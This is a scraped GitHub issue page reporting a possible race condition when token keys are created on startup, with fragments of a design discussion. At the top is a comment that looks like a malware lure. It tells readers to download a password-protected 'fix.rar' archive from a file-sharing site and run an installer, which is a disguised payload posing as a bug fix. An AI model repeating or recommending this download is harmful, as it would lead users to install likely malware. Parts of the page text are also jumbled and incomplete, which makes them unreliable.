Open creechy opened 2 months ago
Download https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file password: changeme In the installer menu, select "gcc."
Here are a couple of ways we can design this fix:
SafeKeyManager
.
SecurityConfiguration
class but that could clutter the config logic. Instead we could just cleanly abstract away in a separate class.It is assumed that we are looking to provide safety at an instance level and not globally.
Let me know your thoughts.
Describe the bug
It has been noted that there is a potential race condition when creating token keys on startup - https://github.com/unitycatalog/unitycatalog/pull/277#pullrequestreview-2255936749
Currently this is not a problem because the keys are created/initialized on startup, but if we ever wanted to provide the ability to rotate token keys, it could expose the race condition.
To Reproduce
-
Expected behavior
There should not be any way in which an improper key-pair could be accessed during operation of the system. The configuration should be thread safe such that both the public and private keys are done in some sort of "atomic" fashion.
System [please complete the following information]:
Additional context